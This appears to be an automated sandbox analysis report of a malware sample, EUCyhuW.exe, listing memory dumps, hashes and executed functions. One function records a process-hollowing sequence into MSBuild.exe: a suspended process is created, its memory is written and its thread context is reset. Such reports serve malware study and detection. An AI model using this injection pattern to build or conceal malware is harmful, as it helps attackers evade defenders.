Associated: 00000003.00000002.2138075514.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138093691.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138111974.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138130532.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138147754.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138167289.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138184594.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138201270.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138224934.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138248373.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138270674.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138288032.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138305522.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138332374.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138404976.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138428557.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138451361.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138473245.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138491858.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138511104.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138534845.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138559180.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138578099.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"r$`'r
API String ID: 3903695350-3437196005
Opcode ID: 0feb397f4af5da43015708793676ce9f631554acdf0b547b1f8e659196dc220f
Instruction ID: a275a869d2e3d97aea03700a2dd367473d1ccdb051bb3c82f4d80c93d18584ba
Opcode Fuzzy Hash: 0feb397f4af5da43015708793676ce9f631554acdf0b547b1f8e659196dc220f
Instruction Fuzzy Hash: B8316B7260020DDFEB20AB79D845BBB73EAEF00311F10442DE249D6692DE30AC80CB65

Analysis Process: EUCyhuW.exePID: 6496, Parent PID: 6592COMMON

Execution Graph

Execution Coverage:	9.9%
Dynamic/Decrypted Code Coverage:	2.7%
Signature Coverage:	4.8%
Total number of Nodes:	294
Total number of Limit Nodes:	10

Executed Functions

Function 0039C19E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,0039C110,0039C100), ref: 0039C334
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 0039C347
Wow64GetThreadContext.KERNEL32(0000009C,00000000), ref: 0039C365
ReadProcessMemory.KERNELBASE(00000098,?,0039C154,00000004,00000000), ref: 0039C389
VirtualAllocEx.KERNELBASE(00000098,?,?,00003000,00000040), ref: 0039C3B4
WriteProcessMemory.KERNELBASE(00000098,00000000,?,?,00000000,?), ref: 0039C40C
WriteProcessMemory.KERNELBASE(00000098,00400000,?,?,00000000,?,00000028), ref: 0039C457
WriteProcessMemory.KERNELBASE(00000098,?,?,00000004,00000000), ref: 0039C495
Wow64SetThreadContext.KERNEL32(0000009C,014E0000), ref: 0039C4D1
ResumeThread.KERNELBASE(0000009C), ref: 0039C4E0

Strings

ResumeThread, xrefs: 0039C2D8
GetThreadContext, xrefs: 0039C276
Load, xrefs: 0039C1DA
GetP, xrefs: 0039C21E
WriteProcessMemory, xrefs: 0039C2AF
VirtualAllocEx, xrefs: 0039C29C
aryA, xrefs: 0039C1E2
TerminateProcess, xrefs: 0039C3C3
VirtualAlloc, xrefs: 0039C263
ReadProcessMemory, xrefs: 0039C289
SetThreadContext, xrefs: 0039C2C2
ress, xrefs: 0039C226
CreateProcessW, xrefs: 0039C250
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 0039C333

Memory Dump Source

Source File: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: 111f94615a6d73d42374ab5bcbaa5e51f0db4b1b175454363c0c9b28493a811c
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: A1B1087664064AAFDB60CF68CC80BDA73A5FF88714F168524EA0CAB341D774FA51CB94

Function 00361870 Relevance: 9.2, APIs: 6, Instructions: 162
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 003618F3
GetFileSize.KERNEL32 ref: 00361922
CloseHandle.KERNEL32 ref: 0036193E

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 32d4ca73b525966d7f48c60394fa3cf705b25f6f7e892b4c2c15ef117138a0a8
Instruction ID: 80b510f36898ae1a22eae8aa9d677a5afb2d69fa66611fba3c3feb5356ff6549
Opcode Fuzzy Hash: 32d4ca73b525966d7f48c60394fa3cf705b25f6f7e892b4c2c15ef117138a0a8
Instruction Fuzzy Hash: 0C71BFB0D04248CFCB11EFA8D58879DBBF4BF48304F14852AE899AB345D735A945CF92

Function 00367D50 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 477
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strcspn.LIBCMT ref: 00367EB0
_strcspn.LIBCMT ref: 00367EDE

Strings

@, xrefs: 003681A9

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: _strcspn
String ID: @
API String ID: 3709121408-2766056989
Opcode ID: 61828020e1db2d2f20368c8f1667b15a79458dd73eccbd5b54f763a0604a8012
Instruction ID: bab4c60e64e4e0f808d68b348629712d2c18fe8a4417a8f1fcd87c94d6807848
Opcode Fuzzy Hash: 61828020e1db2d2f20368c8f1667b15a79458dd73eccbd5b54f763a0604a8012
Instruction Fuzzy Hash: C732D2B49042698FCB25DF24C991A9DBBF1BF49300F05C5AAE849AB305D730AE85CF91

Function 00361710 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 0036177B
VirtualProtect.KERNELBASE ref: 0036182B

Strings

@, xrefs: 0036181F

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: ConsoleFreeProtectVirtual
String ID: @
API String ID: 621788221-2766056989
Opcode ID: f483acc7814d7e7e33d82ed714d4182df4463ac2bb277f7af2c0ec98063c91de
Instruction ID: d2ddc11695c6c74a3d85050ef5744067719d2e44d5a9e6021f4e7ae289da37b0
Opcode Fuzzy Hash: f483acc7814d7e7e33d82ed714d4182df4463ac2bb277f7af2c0ec98063c91de
Instruction Fuzzy Hash: 7D41CEB0D00208DFCB05DFA9E88469EBBF4BF48344F11C82AE458AB351D775A944CF95

Function 00371670 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_Yarn.LIBCPMT ref: 00371690
_Yarn.LIBCPMT ref: 003716B4

Strings

=n9, xrefs: 00371684

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: Yarn
String ID: =n9
API String ID: 1767336200-2005492208
Opcode ID: 57e238aa1058c7b702cfdcd56f51e6d708d776d67e0a6b8c13b6b62b455875c3
Instruction ID: 48e482fa2e193d871fbe1fded5871838319c6598390e9a7e412e8286e278eb44
Opcode Fuzzy Hash: 57e238aa1058c7b702cfdcd56f51e6d708d776d67e0a6b8c13b6b62b455875c3
Instruction Fuzzy Hash: DCE065273082046BFB296A6ADC12F7633D8DB44761F14412DFD0E9E5C1EE50EC008554

Function 00364690 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 003646AB

Part of subcall function 00371670: _Yarn.LIBCPMT ref: 00371690
Part of subcall function 00371670: _Yarn.LIBCPMT ref: 003716B4

Strings

bad locale name, xrefs: 0036471B

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: Yarn$LockitLockit::_std::_
String ID: bad locale name
API String ID: 360232963-1405518554
Opcode ID: 83548ae5dc00f4d08fbd9ad98944adcd56d74dc52c28ff25a410e59e19ede37e
Instruction ID: dda4b3dd942367449a1c2667d88bfa92b040acce0eb99687dde2515fe5eade7e
Opcode Fuzzy Hash: 83548ae5dc00f4d08fbd9ad98944adcd56d74dc52c28ff25a410e59e19ede37e
Instruction Fuzzy Hash: 1E012570D041089FCB09FFECD4917ADBBB1AF45308F44846CE55A5B346DA31AA90CB56

Function 00361C00 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EqualPrefixSid.ADVAPI32 ref: 00361C4B

Strings

@Ju, xrefs: 00361C4B

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: EqualPrefix
String ID: @Ju
API String ID: 447727826-501080590
Opcode ID: d8b92721ae0aa7b7e4848585aef32b8ae7e83aa5924881d146e3e579513fc622
Instruction ID: 627cdff4277ba37d8a6bfbb155e0a01276c2da1c92de42e137bc4ddfb84ae63e
Opcode Fuzzy Hash: d8b92721ae0aa7b7e4848585aef32b8ae7e83aa5924881d146e3e579513fc622
Instruction Fuzzy Hash: C4013170904208DFCB01EFA8D95579EBBF8FF04304F40845DE4599B351EBB49A04CB92

Function 00387FBC Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00388366: GetConsoleOutputCP.KERNEL32(BB0EE090,00000000,00000000,?), ref: 003883C9

WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,?,?,?,?,?,00378191,?,003783F3), ref: 00388141
GetLastError.KERNEL32(?,00378191,?,003783F3,?,003783F3,?,?,?,?,?,?,?,?,?,?), ref: 0038814B

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: a06c9c64f91f24cfa6a9a6e07adcbbce0c732487c9b65b81a0563a3404ad4ad6
Instruction ID: d07a59b6b249b3b8ba9b3090e8aab653b23d36d8b80b038fec72186594a22edd
Opcode Fuzzy Hash: a06c9c64f91f24cfa6a9a6e07adcbbce0c732487c9b65b81a0563a3404ad4ad6
Instruction Fuzzy Hash: 2861B7B1D04219BFDF12EFA8CC45AEEBBB9AF09304F550185E904AB252DB36D905CB90

Function 00388795 Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,00388127,?,003783F3,?,?,?,00000000), ref: 00388831
GetLastError.KERNEL32(?,00388127,?,003783F3,?,?,?,00000000,?,?,?,?,?,00378191,?,003783F3), ref: 00388857

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: acaac1654caf8bb749f7b2e19a215bd7966686fdc7c107e2c53f7422ad18f0d4
Instruction ID: a45985f2f953f45a4de2ff9c7fe36a8e57e85ba4bec9546e53a9c6dd4800b1e3
Opcode Fuzzy Hash: acaac1654caf8bb749f7b2e19a215bd7966686fdc7c107e2c53f7422ad18f0d4
Instruction Fuzzy Hash: 0C218035A002189FCF1ADF29DD809E9B7BAEF48305F6445EAE90AD7211DB309D42CB60

Function 00363E90 Relevance: 3.1, APIs: 2, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00363EAF

Part of subcall function 00364360: std::_Lockit::_Lockit.LIBCPMT ref: 0036438E
Part of subcall function 00364360: std::_Lockit::~_Lockit.LIBCPMT ref: 003643B9

std::_Lockit::~_Lockit.LIBCPMT ref: 00363F7B

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 6efbd9090ed177236fe12ab01a67771b67dd419736eaf7c16ccfd6986bfe002a
Instruction ID: d18f401807e118f25e2b094847061b140d40ca9e55055f7171947de40b3054b8
Opcode Fuzzy Hash: 6efbd9090ed177236fe12ab01a67771b67dd419736eaf7c16ccfd6986bfe002a
Instruction Fuzzy Hash: 8B31E8B4D00209DFCB05EFA8D4855AEBBF4FF09300F10846AE856AB355EB34AA44CB91

Function 00381F19 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,?,00000000,00381E08,0039B810), ref: 00381F65
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,00381E08,0039B810), ref: 00381F77

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: e325579f1de3dad7357eac3e6e5f9088a5f0c9078d8ea374830d8f4fcef8e5ef
Instruction ID: 13e96f72e47281eafffe8e64ff4790202e5f6d78bcc62ebe8cf5ec4f03ce1d89
Opcode Fuzzy Hash: e325579f1de3dad7357eac3e6e5f9088a5f0c9078d8ea374830d8f4fcef8e5ef
Instruction Fuzzy Hash: 01119331208B414AC7326E3E9CC8622BA9CAB56330F39079AE2B6C65F1C730D987D741

Function 00361B80 Relevance: 3.0, APIs: 2, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00361BA8
GetModuleFileNameA.KERNEL32 ref: 00361BC8

Part of subcall function 00361870: CreateFileA.KERNELBASE ref: 003618F3

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: FileModule$CreateHandleName
String ID:
API String ID: 2828212432-0
Opcode ID: 68137d50fc77618e6c282128039f573d7198a2fe7d2ce1133b02aa654e380297
Instruction ID: 3aea032fdd9375b83ecc58266d2eddd5781bb3e5e145da79cc1226a2c232a38b
Opcode Fuzzy Hash: 68137d50fc77618e6c282128039f573d7198a2fe7d2ce1133b02aa654e380297
Instruction Fuzzy Hash: ADF01DB19042088FC750EF78D94539DBBF8AB04300F4185AED4CDD7250EA7599888F82

Function 00380487 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,003846B0,?,00000000,?,?,00384350,?,00000007,?,?,00384C96,?,?), ref: 0038049D
GetLastError.KERNEL32(?,?,003846B0,?,00000000,?,?,00384350,?,00000007,?,?,00384C96,?,?), ref: 003804A8

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 31428d812dd594a42185b8e000ad0174dd4ec5c4b2555e6ceddbad05499281d3
Instruction ID: 026b16b05f8e2cdf35d2faf0eb8c6ce7afc6965bab8cc4c71ee5374f8cb50b26
Opcode Fuzzy Hash: 31428d812dd594a42185b8e000ad0174dd4ec5c4b2555e6ceddbad05499281d3
Instruction Fuzzy Hash: 61E08C32200B04AFCB232BE5EC08B993A6CDB41751F1A8066FB0CDA060CA3A8840CBC4

Function 0037294E Relevance: 1.6, APIs: 1, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID:
